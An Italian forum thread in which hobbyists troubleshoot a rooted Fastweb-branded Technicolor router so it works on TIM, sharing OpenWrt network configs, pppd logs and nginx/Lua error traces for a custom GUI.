Tim vuole la pppoe su vlan 835, fastweb usa dhcp su vlan 100 quando in vula o senza vlan altrimenti. Dump delle configurazione non credo ce ne siano ma sul thread dovresti trovarne un bel po', comunque l'unico file che credo tu debba toccare è /etc/config/network, però evita di stravolgerlo cambiando tutti i nomi delle interfacce o modificando le config dello switch perchè potrebbero non corrispondere, soprattutto sulla parte che aggiunge il tag vlan Quindi si, cercane una per riferimento, poi cerca semplicemente nel file fastweb dove imposta la vlan 100 e cambiala in 835, poi cambia il tipo di connessione di 'wan' da dhcp a pppoe e impostane i parametri come vedi dal file del 4130 tim.
Nel firmware che mi hai mandato non c'è nulla relativo alle altre gui, tieni a mente che queste immagini sono generate da sorgenti in comune tra vari modelli e operatori.
-
@Ansuel e @FrancYescO potreste dare un'occhiata al dump e verificare che la custom GUI possa funzionare senza troppi problemi?
-
...
Ho provato a cambiare da vlan 100 dhcp a vlan 835 pppoe .... nisba .... inizia il ppp, ma non mi da l'IP. Ho anche provato varie combinazioni di user/pass ... aliceadsl/aliceadsl ... numero-di-tel/timadsl... timadsl/timadsl .... niente da fare ... manca qualcosa ...
-
Trova un thread più adatto in cui parlarne, manda il contenuto di quel file e taggami. Qui abbiamo già fatto parecchi progressi, ora che hai postato il dump del firmware questo thread ha una prima risposta, è già molto.
-
...
queste riportate sopra a me sembrano variabili della GUI piuttosto che del firmware originale fastweb
guardando il dump non vedo nulla di stravolto per cui la GUI non possa funzionare ... ma ovviamente solo provando si puo' sapere, alla peggio si va di reset
ma quindi quello e' il dump dell'ultimo firmware disponibile per questo modello distribuito da fastweb? (quindi hanno un modello in distribuzione che anche con l'ultimo firmware e' facilmente sbloccabile ?!)
-
Ti riferisci alla GUI di ANsuel? Avevo fatto un tentativo veloce giorni fa ..... ho dovuto resettare perche' quando ti collegavi nginx dava errore 500
Probabilmente c'e' bisogno di qualche colpetto qua e la ...
-
e mi sa ti son rimasti rimasugli nella config, quando da errore 500 la prima cosa da fare e' un logread da ssh per capire dove si blocca
-
Una volta che son riuscito a sistemare questo fastgate per usarlo con tim, sip compreso, posso provarci di nuovo ...
-
magari e' qualcosa di semplice da sistemare facciamo prima a rendere compatibile l'interfaccia poi configuri tutto da li per TIM...
-
ma quindi quello e' il dump dell'ultimo firmware disponibile per questo modello distribuito da fastweb? (quindi hanno un modello in distribuzione che anche con l'ultimo firmware e' facilmente sbloccabile ?!)
E' il dump dell'unico firmware mai visto su questo device, sempre che non ne esista anche una variante IAD (questa è MOS). Questo modello non credo sia ancora in distribuzione, ora usano il dga4131 o il suo clone askey. Sinceramente non credo questo riceverà mai un update, nelle settings di default c'è un force_https in cwmpd che non potrebbe permettere all'acs fastweb di funzionare almeno che non lo portino su https, bisognerebbe controllare che anche con l'option dhcp settata in quel modo l'acs selezionato resti comunque quello http, finchè questo accade non può ricevere alcun update, che comunque non credo esista.
edit: riguardandolo più attentamente, l'opzione per l'enforce di https è scritta male, per cui non credo abbia alcun effetto
-
Avevo notato anche io quelle strane opzioni sul cwmp, volevo arrivare a capire dove settava tutto il file network (e anche l'indirizzo del DHCP) ma non ho trovato la parte interessante
Se si autoconfigura (su base di cosa fa il provisioning Fastweb?), è comunque un buon dispositivo per recuperare i dati/configurazioni del voip data la facilità con cui si sblocca
-
Non credo si autoconfiguri, le settings le popola il wansensing, al primo avvio. Tra l'altro questo è n MOS cioè quella razza di dispositivi su cui non usano il voip, se vale quello che era per il 789 vecchio.
-
Sto provando ancora a farlo funzionare su tim (FTTC, quindi deve passare per il doppino) ma non c'e' verso.
Questo e' il file network.
config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'
config globals 'globals'
option ula_prefix 'none'
option default_ps '0'
config device 'waneth4'
option type '8021q'
option name 'waneth4'
# option macaddr 'E0:XX:XX:XX:XX:74'
option ifname 'eth4'
option vid '835'
option ipv6 '0'
config device 'wanptm0'
option type '8021q'
option name 'wanptm0'
# option macaddr 'E0:XX:XX:XX:XX:74'
# option ifname 'ptm0'
option vid '835'
option ipv6 '0'
config interface 'wan'
option demand '0'
# option macaddr 'E0:XX:XX:XX:XX:74'
option ipv6 '0'
option keepalive_adaptive '0'
option dns_metric '0'
option password 'alicenewag'
option username '[email protected]'
option proto 'pppoe'
option ifname 'ptm0'
option metric '10'
option keepalive '4,20'
option auto '1'
option pppd_options 'debug'
config config 'config'
option wan_mode 'pppoe'
config interface 'wwan'
option proto 'mobiled'
option session_id '0'
option profile '1'
option auto '0'
config interface 'wan6'
option proto 'dhcpv6'
option reqopts '12 21 22 23 24 25 31 56 64 67 82 83'
option noslaaconly '1'
option iface_464xlat '0'
option auto '0'
option dns_metric '20'
option ifname '@wan_ipv6'
config interface 'sfp'
option proto 'static'
option ifname 'eth4'
option ipaddr '192.168.2.2'
option netmask '255.255.255.128'
config interface 'lan'
option type 'bridge'
option proto 'static'
list pppoerelay 'wanptm0'
option ipaddr '192.168.1.1'
option netmask '255.255.255.0'
option ip6assign '64'
option force_link '0'
option ipv6 '0'
list ifname 'eth0'
list ifname 'eth1'
list ifname 'eth2'
list ifname 'eth3'
list ifname 'eth5'
config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'
config interface 'wlnet_b_24'
option proto 'static'
option ip6assign '64'
option ipv6 '0'
option ip6hint '1'
option netmask '255.255.255.128'
option ipaddr '192.168.168.1'
option ifname 'wl0_1'
option force_link '0'
option name 'Ospiti-TIM-XXXXXXXX'
config interface 'wlnet_b_5'
option proto 'static'
option ip6assign '64'
option ipv6 '0'
option ip6hint '2'
option netmask '255.255.255.128'
option ipaddr '192.168.168.129'
option ifname 'wl1_1'
option force_link '0'
option name 'Ospiti-TIM-XXXXXXXX'
config device 'wlnet_b_5eth5'
option type '8021q'
option name 'wl1_1'
option enabled '1'
option ifname 'eth5'
option vid '3'
option ipv6 '0'
config interface 'ipoe'
option proto 'dhcp'
option metric '1'
option reqopts '1 3 6 43 51 58 59'
option release '1'
option neighreachabletime '1200000'
option neighgcstaletime '2400'
option ipv6 '1'
Questo e' il log del pppd
Jun 25 17:29:45 OpenWrt daemon.notice pppd[4983]: pppd 2.4.7 started by root, uid 0
Jun 25 17:29:45 OpenWrt daemon.notice pppd[4983]: Connection state changed to connecting (phase 2)
Jun 25 17:29:45 OpenWrt daemon.debug pppd[4983]: Send PPPOE Discovery V1T1 PADI session 0x0 length 4
Jun 25 17:29:45 OpenWrt daemon.debug pppd[4983]: dst ff:ff:ff:ff:ff:ff src e0:xx:xx:xx:xx:74
Jun 25 17:29:45 OpenWrt daemon.debug pppd[4983]: [service-name]
Jun 25 17:29:47 OpenWrt daemon.debug pppd[4983]: Send PPPOE Discovery V1T1 PADI session 0x0 length 4
Jun 25 17:29:47 OpenWrt daemon.debug pppd[4983]: dst ff:ff:ff:ff:ff:ff src e0:xx:xx:xx:xx:74
Jun 25 17:29:47 OpenWrt daemon.debug pppd[4983]: [service-name]
Jun 25 17:29:49 OpenWrt daemon.debug pppd[4983]: Send PPPOE Discovery V1T1 PADI session 0x0 length 4
Jun 25 17:29:49 OpenWrt daemon.debug pppd[4983]: dst ff:ff:ff:ff:ff:ff src e0:xx:xx:xx:xx:74
Jun 25 17:29:49 OpenWrt daemon.debug pppd[4983]: [service-name]
Jun 25 17:29:52 OpenWrt daemon.debug pppd[4983]: Send PPPOE Discovery V1T1 PADI session 0x0 length 4
Jun 25 17:29:52 OpenWrt daemon.debug pppd[4983]: dst ff:ff:ff:ff:ff:ff src e0:xx:xx:xx:xx:74
Jun 25 17:29:52 OpenWrt daemon.debug pppd[4983]: [service-name]
Jun 25 17:30:00 OpenWrt daemon.debug pppd[4983]: Send PPPOE Discovery V1T1 PADI session 0x0 length 4
Jun 25 17:30:00 OpenWrt daemon.debug pppd[4983]: dst ff:ff:ff:ff:ff:ff src e0:xx:xx:xx:xx:74
Jun 25 17:30:00 OpenWrt daemon.debug pppd[4983]: [service-name]
Jun 25 17:30:16 OpenWrt daemon.debug pppd[4983]: Send PPPOE Discovery V1T1 PADI session 0x0 length 4
Jun 25 17:30:16 OpenWrt daemon.debug pppd[4983]: dst ff:ff:ff:ff:ff:ff src e0:xx:xx:xx:xx:74
Jun 25 17:30:16 OpenWrt daemon.debug pppd[4983]: [service-name]
C'e' qualcuno a cui viene qualche idea?
Cosi' ad occhio sembra proprio che non riceva risposta .... fa una richiesta broadcast, ma probabilmente cade nel vuoto.
La portate ovviamente e' regolarmente agganciata.
-
questo
option ifname 'ptm0'
setta
option ifname 'wanptm0'
e funzionerà come per magia
mi sa che devi riavviare
-
Mmmmm ...
ti riferisce alla sezione device wanptm
o alla sezione wan ...?
Se la seconda, ho provato a cambiare in wanptm0 ...ma non cambia niente.
-
wan
-
@saronno76 in wanptm0 devi decommentare option infname 'ptm0', in wan devi usare wanptm0 in ifname al posto di ptm0
-
@LuKePicci Ho fatto esattamente come mi hai detto, ma succede una cosa ancora piu' strana:
al reboot compare tra le interfacce wanptm0 e nel file network nella sezione wan c'e' wanptm0 come ifname,
ma dopo un po' sparisce sia dalle interfacce (cioe' l'output di ifconfig) che dalla configurazione
e nella sezione wan c'e' di nuove ptm0.
Questo anche se fai uci commit network dopo aver modificato il file stesso.
Il log del pppd non e' cambiato di una virgola.
-
Si, era un comportamento possibile, lo fa quando editi direttamente il file a mano senza modificare i parametri grazie ai quali il software di fabbrica genera/modifica ogni volta quel file. E' giusto parlarne qui perchè in questo problema ci ricadono tutti quelli che come te provano ad impostare questo tipo di dispositivi senza passare per la gui.
Ci sono dei parametri in qualche altro file, fai prima a cerarli nell'output di "uci show" che citano l'interfaccia wan selezionata/di default. Da quello che dici, credo che al momento ci sia salvato il valore ptm0, ma non ne sono sicuro. Dai un'occhiata.
-
@LuKePicci
ptm0 e' citato in network, qos, wanconfig e xtm.
xtm
---
config ptmdevice 'ptm0'
option priority 'low'
config atmdevice 'atm0'
option enc 'llc'
option vpi '8'
option ulp 'eth'
option path 'fast'
option vci '35'
wanconfig
---------
config wanconfig
option ifname 'eth4'
option proto 'ip'
option interface 'mgmt'
config wanconfig
option ifname 'ptm0'
option proto 'ip'
option interface 'mgmt'
config wanconfig
option ifname 'atm0'
option proto 'ip'
option interface 'mgmt'
config wanconfig
option ifname 'eth4'
option proto 'ip'
option interface 'wan'
config wanconfig
option ifname 'ptm0'
option proto 'ip'
option interface 'wan'
config wanconfig
option ifname 'vlan_ptm0'
option proto 'ip'
option interface 'wan_tag'
config wanconfig
option ifname 'atm0'
option proto 'ip'
option interface 'wan'
qos
---
...
config device 'ptm0'
option classgroup 'TO_WAN'
...
-
Mmm, no non ci siamo, mi manca qualche pezzo che avevo visto negli altri firmware di questa specie, più tardi/domani se riesco provo a dare un'occhiata ai file del firmware e ti dico, intanto peò farei marcia indietro sull'usare nomi di interfacce che assomigliano a quelli dei firmware tim. Lui di base si aspetta di lavorare su interfacce diverse, quindi torna alla configurazione iniziale dove al posto di wanptm0 su vid 835 associata a wan avevi vlan_ptm0 su vid 835 associata all'interfaccia wan_tag. Va assecondato per evitare che le sue volontà interferiscano con quello che vuoi ottenere, Niente di complicato ma non avendone uno devo andare un po' alla cieca… almeno che qualcuno qui non conosca un trucco semplice per stoppare il wansensing e levarlo da mezzo.
-
d'accordo, l'ho salvata, nessun problema .... solo che una cosa mi suona strana ... a me sembra tutto configurato come
se l'unica opzione prevista fosse una connessione FTTH. Sbaglio?
Nell'originale c'e' questo ...
network.vlan_ptm0=device
network.vlan_ptm0.mtu='1500'
network.vlan_ptm0.vid='100'
network.vlan_ptm0.name='vlan_ptm0'
network.vlan_ptm0.ifname='ptm0'
network.vlan_ptm0.type='8021q'
network.wantag=interface
network.wantag.zone6rd='wan'
network.wantag.mtu='1500'
network.wantag.authfail='0'
network.wantag.reqopts='1 3 6 15 33 42 51 121 249 212'
network.wantag.ifname='vlan_ptm0'
network.wantag.notused='E0:....:75'
network.wantag.iface6rd='6rd'
network.wantag.auto='0'
network.wantag.ipv6='0'
network.wantag.initboot='1'
network.wantag.proto='dhcp'
network.wantag.vendorid='Technicolor_TG789vacXtream_MOS/dslforum.org'
praticamente vlan_ptm0 e' quella che sui tim e' wanptm0, mentre wantag e' l'equivalente di wan,
ma c'e' questo parametro notused col mac che mi lascia perplesso e il protocollo non e' pppoe ma dhcp.
E anche la sezione wan ha come protocollo dhcp, col parametro notused e nessun ifname specificato.
-
Le configurazioni che trovi nel firmware sono configurazioni di base o incomplete, a crearle è il wansensing, ovvero un gruppetto di script ad-hoc per ogni isp che decide di sua spontanea volontà quali interfacce provare ad usare per la connessione. Ovviamente lo script per fastweb è un po' diverso da quello per tim, non solo per la differenza di vlan, ma soprattutto per la questione pppoe vs dhcp. La gui stock quando provi a cambiare impostazioni sul tipo di wan infatti disattiva il wansensing. Però io non ho la più pallida idea di quanto sia castrata quella del tuo dispositivo, perciò provare a far funzionare la custom di ansuel poteva essere una buona idea, non come metodo risolutivo generale ma solo per una prima indagine, poi una volta capito in che condizioni è messo si fa subito a riprodurre la stessa cosa senza custom gui.
-
dai un'occhiata su, ho aggiunto un pezzetto all'ultimo messaggio.
-
/etc/config/wansensing
config wansensing 'global'
option enable '1'---> 0
option initmode 'L2Sense'
/etc/init.d/wansensing stop
-
@saronno76 esatto, quella config infatti è corretta per fastweb su vlan (nota che fastweb non sta sempre su vlan, usa la vlan 100 solo su linee in vula). Cambiando quel vid 100 in 835 il primo pezzo è sistemato, se non torna su 100 ad ogni riavvio fin lì ci siamo. Disattiva il wansensing come ti ha detto larsen, e converti wantag da dhcp a pppoe, mantenendo l'ifname su vlan_ptm0 e vedi se inizia a funzionare qualcosa.
-
Guardate anche il file generato "env " in /etc/config o /etc/ board... alcune impostazioni tipo
....
option mtu_vdsl '1492'
option wan_vlan_default '835'
option wan_vlan '835'
....
le prende da lì
-
Allora, son riuscito a ottenere finalmente sto cavolo di ip. Ho disabilitato wansensing, cambiato protocollo in pppoe a wantag che ha ifname vlan_ptm0 ... ovviamente ho messo i soliti parametri
per username, pass, e altri che c'erano nel caso tim. L'unico problema, da shell del router posso pingare yahoo e navigare, da pc invece no .... o controllato il file pppoerelayd ed era disabilitato.
Ho provato ad abilitarlo, nisba. Solo che mi son dimenticato di verificare se fosse solo un problema di dns o se proprio non mi instradava verso fuori.
questo e' il setting della lan ..
config interface 'lan'
option ipaddr '192.168.1.254'
option netmask '255.255.255.0'
list pppoerelay 'vlan_ptm0'
option ifname 'eth0 eth1 eth2 eth3 eth5'
option ipv6 '0'
option proto 'static'
option ip6assign '64'
option force_link '0'
option type 'bridge'
vlan_ptm0 l'ho aggiunto io, prima non c'era.
-
Per i dns
list dns '8.8.8.8'
list dns '8.8.4.4'
Ma se il ping da router è ok e da pc no, o il firewall è disabilitato o manca qualche regola.
config device 'ptm0'
option mtu '1500'
option name 'ptm0'
config device 'vlan_wan'
option type '8021q'
option ifname 'ptm0'
option mtu '1500'
option name 'vlan_wan'
option vid '835'
list pppoerelay 'vlan_ptm0' serve?
-
qualche problema al bridge, no?
no ... list relaypppoe 'vlan_ptm0'
serve a niente.
-
option mtu_vdsl '1492'
option wan_vlan_default '835'
option wan_vlan '835'
Proprio quelli stavo cercando, ma tra quei valori ce ne dovrebbe anche essere uno che specifica quale interfaccia usare in vdsl ma se ha detto che non lo vede è possibile che lo script di fastweb non li utilizzi. Ad ogni modo ora il problema è da qualche altra parte. Controlla che 'wantag' sia in /etc/config/firewall laddove c'è già "wan", se manca aggiungila.
list pppoerelay serve per il pppoe pass-through se lo togli da 'lan' cambia solo che poi non puoi fare pppoe direttamente dai device, ma non ha niente a che fare con la navigazione.
-
aggiunto wantag al firewall ... niente da fare.
-
In /etc/config/wanconfig
config wanconfig
option interface 'wan_tag'
option ifname 'vlan_ptm0'
option proto 'ip'
wan_tag non wantag
Comunque le uniche interfacce configurate di default per eth4 ptm0 e atm0 sono mgmt e wan, nel firewall, sempre di default wan_tag non esiste.
-
Si, è come per wwan, dovrebbe venire aggiunta dinamicamente secondo necessità. Che casino comunque, come diavolo fa a trovarsi "wan_tag" in wanconfig w "wantag" in network di default.. non si sono applicati troppo su questo modello
-
Secondo me si sono anche applicati anche troppo: per gestire tutte queste personalizzazioni tipo alias delle porte, hanno appesantito il firm. Alla fine dei conti per fargli fare delle cose che il 90% degli utenti non useranno mai se ne sono andati 2/3 delle risorse bella m...
-
Mi sa che allora wantag va aggiunto anche in intercept, se è abilitato, altrimenti il dns dirotta sempre sull'ip farlocco.
-
Comunque non e' solo il dns, se uno prova a pingare da pc l'ip di yahoo ottiene un'immediata risposta dal router che indica che la destinazione non e' raggiungibile.
Non instrada proprio secondo me. E' come se ci fosse un problema al bridge .... la rete locale ovviamente va ... da shell del router verso fuori tutto ok ... se da pc
provi ad andar fuori, non solo non va il dns, ma non instrada per niente neanche se gli dai direttamente l'ip del sito.
-
Controlla che il router abbia il natting attivo. Che la regola di routing manchi del tutto mi sembra strano.
Dovrebbe esserci/mancare un'opzione masq in /etc/config/firewall
-
Jun 25 17:33:24 OpenWrt daemon.debug pppd[4704]: rcvd [IPCP ConfReq id=0xf1 <addr 192.168.100.1>]
Jun 25 17:33:24 OpenWrt daemon.debug pppd[4704]: sent [IPCP ConfAck id=0xf1 <addr 192.168.100.1>]
Jun 25 17:33:24 OpenWrt daemon.debug pppd[4704]: rcvd [IPCP ConfNak id=0x1 <addr 80.180.53.226> <ms-dns1 85.37.17.14> <ms-dns2 85.38.28.78>]
Jun 25 17:33:24 OpenWrt daemon.debug pppd[4704]: sent [IPCP ConfReq id=0x2 <addr 80.180.53.226> <ms-dns1 85.37.17.14> <ms-dns2 85.38.28.78>]
Jun 25 17:33:24 OpenWrt daemon.debug pppd[4704]: rcvd [IPCP ConfAck id=0x2 <addr 80.180.53.226> <ms-dns1 85.37.17.14> <ms-dns2 85.38.28.78>]
Jun 25 17:33:24 OpenWrt daemon.notice pppd[4704]: local IP address 80.180.53.226
Jun 25 17:33:24 OpenWrt daemon.notice pppd[4704]: remote IP address 192.168.100.1
Jun 25 17:33:24 OpenWrt daemon.notice pppd[4704]: primary DNS address 85.37.17.14
Jun 25 17:33:24 OpenWrt daemon.notice pppd[4704]: secondary DNS address 85.38.28.78
Jun 25 17:33:24 OpenWrt daemon.notice pppd[4704]: Connection state changed to connected (phase 8)
Jun 25 17:33:24 OpenWrt daemon.debug pppd[4704]: Script /lib/netifd/ppp-up started (pid 4725)
Jun 25 17:33:24 OpenWrt daemon.debug pppd[4704]: Script /lib/netifd/ppp-up finished (pid 4725), status = 0x0
root@OpenWrt:~# ip route
default via 192.168.100.1 dev pppoe-wantag proto static metric 10
192.168.1.0/24 dev br-lan proto kernel scope link src 192.168.1.254
192.168.100.1 dev pppoe-wantag proto kernel scope link src 80.180.53.226
root@OpenWrt:~# netstat -rn
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
0.0.0.0 192.168.100.1 0.0.0.0 UG 0 0 0 pppoe-wantag
192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 br-lan
192.168.100.1 0.0.0.0 255.255.255.255 UH 0 0 0 pppoe-wantag
La tabella di routing sul pc e' ok, con gateway 192.168.1.254 (che in questo momento e' l'indirizzo del router).
La tabella di routing sul router dice che un qualsiasi indirizzo non interno va gestito da 192.168.100.1, che e' appunto l'interfaccia pppoe-wantag.
Ma se da pc provi a pingare quell'indirizzo, non c'e' niente da fare. Da router invece si. Eppure, avendo come gateway 192.168.1.254, poi quest'ultimo dovrebbe sapere
come gestire la rischiesta e mandare la stessa a pppoe-wantag.
-
Infatti credo proprio lo faccia correttamente, ma se il nat è spento allora il router di tim (cioè il primo hop dall'altro lato della ppp, quel 192.168.100.1) non sa come raggiungere l'ip del tuo pc locale 192.168.1.X, perchè su quel router non c'è alcuna regola che dica di instradare quella subnet sulla connessione ppp verso di te. Non potrebbe esserci, è una subnet privata che avete in comune tu e quasi tutti gli altri clienti tim.
Quando fai un ping dal technicolor funziona tutto perchè lui come indirizzo mittente verso la ppp usa 80.180.53.226, e il router di tim 192.168.100.1 sa come raggiungerlo.
-
Ma se da pc provi a pingare quell'indirizzo, non c'e' niente da fare. Da router invece si
Cosa intendi? :huh:
I NAS TIM non rispondono più ai pacchetti ICMP ping da tempo...
-
Intendevo dire che non riesco a pingare 192.168.100.1, il router non instrada il pacchetto verso quell'interfaccia.
-
Se la gui e tutta qua si setta poco o nulla
(https://i.ibb.co/W6Rzhb4/Screenshot-2019-02-10-Gateway.png) (https://ibb.co/W6Rzhb4)
-
Non c'è nulla sotto Gateway->"Setup your gateway"?
-
comunque, mi pare ovvio che e' meglio perdere un po' di tempo per adattare la gui di @Ansuel in qualche modo. Anche se risolvo la cosa (dopo do un'occhiata al nat)
non e' che puoi stare tutto il giorno la con ssh ... e' una rottura di palle, e quello che fai poi non lo vedi neanche nell'interfaccia.
-
Perso per perso, mi verrebbe da dire di provare con l'AGTEF Unlocker e vedere se ti installa la gui vecchia e provare i settings da lì....
Non so serve l'info:
Package: nginx
Version: 1.9.12-1
-
@Ansuel
Allora, prima tentativo: 500 Internal Server Error
Questo e' il log che ho avuto durante la procedura:
Root Script: Rooting in progress...
stopped ledfw.lua (pid 1077)
BusyBox v1.19.4 (2017-06-20 03:17:51 UTC) multi-call binary.
Usage: seq [-w] [-s SEP] [FIRST [INC]] LAST
Print numbers from FIRST to LAST, in steps of INC.
FIRST, INC default to 1.
-w Pad to last with leading zeros
-s SEP String separator
sh: 0: unknown operand
stopped ledfw.lua (pid 4999)
BusyBox v1.19.4 (2017-06-20 03:17:51 UTC) multi-call binary.
Usage: seq [-w] [-s SEP] [FIRST [INC]] LAST
Print numbers from FIRST to LAST, in steps of INC.
FIRST, INC default to 1.
-w Pad to last with leading zeros
-s SEP String separator
sh: 0: unknown operand
start-stop-daemon: warning: killing process 3258: No such process
start-stop-daemon: warning: killing process 5691: No such process
Questo e' il log di nginx
root@OpenWrt:/tmp/log/nginx# cat error.log
2017/06/25 17:30:18 [error] 4218#0: *1 lua entry thread aborted: runtime error: [string "/login.lp"]:73: attempt to concatenate field 'legacy_salt' (a nil value)
stack traceback:
coroutine 0:
[string "/login.lp"]:73: in function 'content'
/usr/lib/lua/web/web.lua:249: in function 'process'
content_by_lua(nginx.conf:109):4: in function <content_by_lua(nginx.conf:109):1>, client: 192.168.1.109, server: localhost, request: "GET / HTTP/1.1", host: "192.168.1.254", referrer: "http://192.168.1.254/"
2017/06/25 17:35:52 [error] 4218#0: *2 lua entry thread aborted: runtime error: [string "/login.lp"]:73: attempt to concatenate field 'legacy_salt' (a nil value)
stack traceback:
coroutine 0:
[string "/login.lp"]:73: in function 'content'
/usr/lib/lua/web/web.lua:249: in function 'process'
content_by_lua(nginx.conf:109):4: in function <content_by_lua(nginx.conf:109):1>, client: 192.168.1.109, server: localhost, request: "GET / HTTP/1.1", host: "192.168.1.254", referrer: "http://192.168.1.254/"
root@OpenWrt:/tmp/log/nginx# date
Sun Jun 25 17:36:03 CEST 2017
Chiedo ai moderatori se preferiscono che continui in questo thread o in quello di Ansuel.
Forse meglio questo, cosi' se domani qualcuno volesse modificare un altro di questi cosi della fastweb,
trova tutto qua, anche se sono problemi che forse si son gia' visti col tim.
-
@saronno76 anziche' eseguire rootdevice con la flag force eseguila con debug
prova a cambiare la riga 71 del file /www/docroot/login.lp
da
if v.legacy_salt ~= "" thena
if v.legacy_salt and v.legacy_salt ~= "" then
nel caso non vada prova anche ad eliminare quell'intero blocco
poi esegui /etc/init.d/nginx restart poi prova ad aprire l'interfaccia e vedi se hai errori diversi
-
Andata, la pagina di login e' partita. Ora pero, dopo il login con admin/admin, si ferma di nuovo tutto ...
root@OpenWrt:/tmp/log/nginx# tail -50 error.log
/usr/lib/lua/web/web.lua:249: in function 'process'
content_by_lua(nginx.conf:109):4: in function <content_by_lua(nginx.conf:109):1>, client: 192.168.1.109, server: localhost, request: "GET / HTTP/1.1", host: "192.168.1.254", referrer: "http://192.168.1.254/"
2017/06/25 17:42:55 [error] 4804#0: *11 lua entry thread aborted: runtime error: /www/lua/cards_limiter.lua:34: loop or previous error loading module 'web.dyntab_helper'
stack traceback:
coroutine 0:
[C]: in function 'require'
/www/lua/cards_limiter.lua:34: in function </www/lua/cards_limiter.lua:33>
(tail call): ?
/www/lua/cards.lua:82: in function 'cards'
[string "stats.lp"]:27: in function 'content'
/usr/lib/lua/web/lp.lua:171: in function 'include'
[string "/gateway.lp"]:34: in function 'content'
/usr/lib/lua/web/web.lua:249: in function 'process'
content_by_lua(nginx.conf:109):4: in function <content_by_lua(nginx.conf:109):1>, client: 192.168.1.109, server: localhost, request: "GET / HTTP/1.1", host: "192.168.1.254", referrer: "http://192.168.1.254/"
2017/06/25 17:42:55 [error] 4804#0: *18 lua entry thread aborted: runtime error: /www/lua/cards_limiter.lua:34: loop or previous error loading module 'web.dyntab_helper'
stack traceback:
coroutine 0:
[C]: in function 'require'
/www/lua/cards_limiter.lua:34: in function </www/lua/cards_limiter.lua:33>
(tail call): ?
/www/lua/cards.lua:82: in function 'cards'
[string "stats.lp"]:27: in function 'content'
/usr/lib/lua/web/lp.lua:171: in function 'include'
[string "/gateway.lp"]:34: in function 'content'
/usr/lib/lua/web/web.lua:249: in function 'process'
content_by_lua(nginx.conf:109):4: in function <content_by_lua(nginx.conf:109):1>, client: 192.168.1.109, server: localhost, request: "GET / HTTP/1.1", host: "192.168.1.254", referrer: "http://192.168.1.254/"
2017/06/25 17:42:55 [error] 4804#0: *16 lua entry thread aborted: runtime error: /www/lua/cards_limiter.lua:34: loop or previous error loading module 'web.dyntab_helper'
stack traceback:
coroutine 0:
[C]: in function 'require'
/www/lua/cards_limiter.lua:34: in function </www/lua/cards_limiter.lua:33>
(tail call): ?
/www/lua/cards.lua:82: in function 'cards'
[string "stats.lp"]:27: in function 'content'
/usr/lib/lua/web/lp.lua:171: in function 'include'
[string "/gateway.lp"]:34: in function 'content'
/usr/lib/lua/web/web.lua:249: in function 'process'
content_by_lua(nginx.conf:109):4: in function <content_by_lua(nginx.conf:109):1>, client: 192.168.1.109, server: localhost, request: "GET / HTTP/1.1", host: "192.168.1.254", referrer: "http://192.168.1.254/"
2017/06/25 17:42:55 [error] 4804#0: *19 lua entry thread aborted: runtime error: /www/lua/cards_limiter.lua:34: loop or previous error loading module 'web.dyntab_helper'
stack traceback:
coroutine 0:
[C]: in function 'require'
/www/lua/cards_limiter.lua:34: in function </www/lua/cards_limiter.lua:33>
(tail call): ?
/www/lua/cards.lua:82: in function 'cards'
[string "stats.lp"]:27: in function 'content'
/usr/lib/lua/web/lp.lua:171: in function 'include'
[string "/gateway.lp"]:34: in function 'content'
/usr/lib/lua/web/web.lua:249: in function 'process'
content_by_lua(nginx.conf:109):4: in function <content_by_lua(nginx.conf:109):1>, client: 192.168.1.109, server: localhost, request: "GET / HTTP/1.1", host: "192.168.1.254", referrer: "http://192.168.1.254/"
-
Salve a tutti, possiedo questo modem brandizzato fastweb e mi chiedevo se fosse possibile utilizzarlo anche con Tim.
Nel caso andasse sbloccato mi sapete dire quanto puo' essere lungo e complicato il procedimento ed indirizzarmi su dove guardare per farlo?
Grazie a tutti.
-
@saronno76 puoi aprire una issue su github? così seguiamo meglio
-
Ok, appena posso lo faccio.
-
@saronno76
file /www/lua/cards_limiter.lua
sostituisci il blocco function M.get_limit_info() con
function M.get_limit_info()
return {bridgemode=false,voicemode=false}
end
l'errore lo hai andando sia al percorso /stats.lp che /cards.lp ?
-
ciao a tutti,
a proposito del VBNT-F ci sono delle incompatibilità con la GUI di Asuel... ad esempio i binari compilati per DGA non vanno su quel router, devono essere ricompilati in modo diverso (vedi thread "OpenWrt Chaos Calmer su AGTEF/AGTHP"). State inoltre attenti alla flash del VBNT-F che è più piccola (la metà del DGA), occhio a non riempire la /overlay
Per quanto riguarda i firmware, ringrazio @saronno76 per il dump della 16.2.7825 . Io avrei disponibili questi due : 16.1.6866 (IAD) e 16.1.6637 (MOS) , ho provato ad invertire i dump tra due VBNT-F e tutto funziona, sono quindi intercambiabili .
-
Mi mandi in PM il dump dell'IAD? Devo controllare una cosa.
-
ma possibile che nessuno è riuscito a trovare i firmware veri e propri?
comunque ora ho questo modem
firmware
16.1.6637-2081001-20160329170703_FW_108_MOS_TG789vacXtream
firmware IN CWMPD.DB (cosa il cwmp legge ) 16.1.6637_FW_108_MOS_TG789vacXtream
-
C'è qualcosa di strano nella gestione cwmp di questo modello. O almeno ho notato questa stranezza nei file di config di default del firmware MOS condiviso da @saronno76
Qualcuno che usa un IAD su rete fastweb potrebbe postare qui il contenuto di /etc/config/cwmpd dopo che il device ha completato il bootstrap?
-
Mi mandi in PM il dump dell'IAD? Devo controllare una cosa.
Inviato. Per me può essere messo sul repository senza problemi.
-
ma possibile che l'rbi di sto modem si sia volatilizzato....
-
@FrancYescO Ho provato a fare la modifica di cui sopra ma siamo sempre la piu' o meno.
2017/06/25 17:38:49 [notice] 4803#0: signal process started
2017/06/25 17:38:58 [error] 4812#0: *2 lua entry thread aborted: runtime error: /usr/lib/lua/web/post_helper.lua:1392: attempt to call upvalue 'inet_pton' (a nil value)
stack traceback:
coroutine 0:
/usr/lib/lua/web/post_helper.lua:1392: in function 'ipv42num'
/usr/lib/lua/web/post_helper.lua:1620: in main chunk
[C]: in function 'require'
[string "001_gateway.lp"]:8: in function 'content'
/usr/lib/lua/web/lp.lua:171: in function 'include'
[string "stats.lp"]:37: in function 'content'
/usr/lib/lua/web/lp.lua:171: in function 'include'
[string "/gateway.lp"]:34: in function 'content'
/usr/lib/lua/web/web.lua:249: in function 'process'
